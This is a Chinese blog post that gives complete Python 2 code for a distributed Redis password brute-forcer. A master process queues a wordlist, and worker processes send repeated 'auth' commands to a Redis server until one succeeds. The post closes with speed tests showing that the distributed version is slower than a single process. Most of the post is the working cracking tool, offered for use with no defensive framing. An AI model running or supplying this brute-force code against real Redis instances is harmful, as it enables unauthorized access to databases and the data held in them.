zoukankan      html  css  js  c++  java
  • redis密码破解(Python使用multiprocessing分布式进程)

               前面redis密码破解都是在一台机器单进程运行的,于是想如果在多台机器分布式运行,速度会不会快点,用Python的multiprocessing模块的managers子模块写了个破解程序,代码如下:

              master端,代码如下:

    #!/usr/bin/env python
    # -*- coding: utf-8 -*-
    # @Time    : 18-12-26 下午6:10
    # @Author  : Liping
    # @Site    : 
    # @File    : distributedRedisCrack.py
    # @Software: PyCharm
    
    import Queue,threading
    import sys
    from multiprocessing.managers import BaseManager
    
    redisPass="redisPass.txt"
    
    putQueue=Queue.Queue()
    resultQueue=Queue.Queue()
    
    class QueueManager(BaseManager):
        pass
    
    # BaseManager类里面的register方法为类方法,所以能不实例化直接用类名调用。
    QueueManager.register('get_task_queue', callable=lambda: putQueue)
    QueueManager.register('get_result_queue', callable=lambda: resultQueue)
    m=QueueManager(address=("",12345),authkey=b'123abc')
    m.start()
    task=m.get_task_queue()
    result=m.get_result_queue()
    
    def putDictPassword(passFile,taskQueue):
        with open(passFile,"r") as f:
            for i in f:
                taskQueue.put(i)
                # time.sleep(0.01)
    # 引入线程目的是为了将读文件放入队列异步执行,不需要将全部密码文本读入队列后在进入下一步,因为正确密码可能在密码文件中间,获取正确破解结果后程序可以退出。
    t = threading.Thread(target=putDictPassword,args=(redisPass,task))
    t.setDaemon(True)
    t.start()
    
    while True:
        try:
            r=result.get(timeout=30)
            if r[0]=="cracked":
                print "redis password have been cracked,the pass is: %s" %r[1]
                m.shutdown()
                sys.exit(0)
        except Queue.Empty:
            print "password not in the redisPass"
            break

      slave的worker代码如下:

    #!/usr/bin/env python
    # -*- coding: utf-8 -*-
    # @Time    : 18-12-29 下午8:15
    # @Site    : 
    # @File    : distributedRedisCrackSlave.py
    # @Software: PyCharm
    
    import Queue
    import sys,socket
    from multiprocessing.managers import BaseManager
    
    redisHost="192.168.36.3"
    redisPort=6379
    server_addr = '192.168.36.1'
    class QueueManager(BaseManager):
        pass
    
    QueueManager.register('get_task_queue')
    QueueManager.register('get_result_queue')
    m=QueueManager(address=(server_addr,12345),authkey=b'123abc')
    m.connect()
    task=m.get_task_queue()
    result=m.get_result_queue()
    
    s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    s.connect((redisHost,redisPort))
    
    # while not task.empty():  #不能用此判断slave端进程退出,因为slave队列接收速度可能超过master发送端的发送速度,造成slave端队列只接收了部分数据就退出了。
    while True:
        try:
            key=task.get(timeout=20)
            print key
            s.send("auth %s 
    " % (key))
            authResult = s.recv(1024)
            if '+OK' in authResult:
                result.put(("cracked",key))
                s.close()
                sys.exit(0)
            else:
                result.put(("invalid password"))
        except Queue.Empty:
            print "no more key have get,quit"
            break
    

    测试速度如下:

    1. 生成100万数字,将正确密码写入密码文本最后一行。

    2   测试原来单进程模式,利用socket模块的破解时间,100万行密码文本,速度30s左右。

    3.分布式进程破解,利用2个slave端进程破解,速度如下:

    4.分布式进程破解,利用3个slave端进程破解,速度如下:

        如上图,3个slave破解进程,redis服务端有3个tcp连接。

    5.分布式进程破解,利用6个slave端进程破解,速度如下:

    综合上面测试结果,分布式进程模式下,速度还远不如单进程模式;增加slave端worker进程的情况下,速度没有提升,甚至还有下降,说明分布式进程模式下,瓶颈在master和slave端队列的发送接收的开销。单进程模式下,进程读取一行文本到内存立马会用此文本用socket模块验证;分布式进程模式下,master端进程读取文本放入队列,slave端进程读取队列文本在用socket模块验证,中间有大量的序列化反序列化,网络开销等。

  • 相关阅读:
    IE9 bug: 在textarea中复制内容会丢失换行符
    [IIS]修改MaxFieldLength与MaxRequestBytes彻底解决Request Too Long的问题
    百年一遇的奇怪问题:当IE遇上.NET Framework 4.5
    Entity Framework 使用注意:Where查询条件中用到的关联实体不需要Include
    cnzz统计代码引起的Bad Request Request Too Long
    看我72变:解决Entity Framework中枚举类型与tinyint的映射问题
    续篇:新型Lamda版Html.RenderAction
    System.Threading.Tasks.Task引起的IIS应用程序池崩溃
    ASP.NET/C# WebRequest POST Google OAuth API
    ASP.NET MVC中加载WebForms用户控件(.ascx)
  • 原文地址:https://www.cnblogs.com/360linux/p/13062069.html
Copyright © 2011-2022 走看看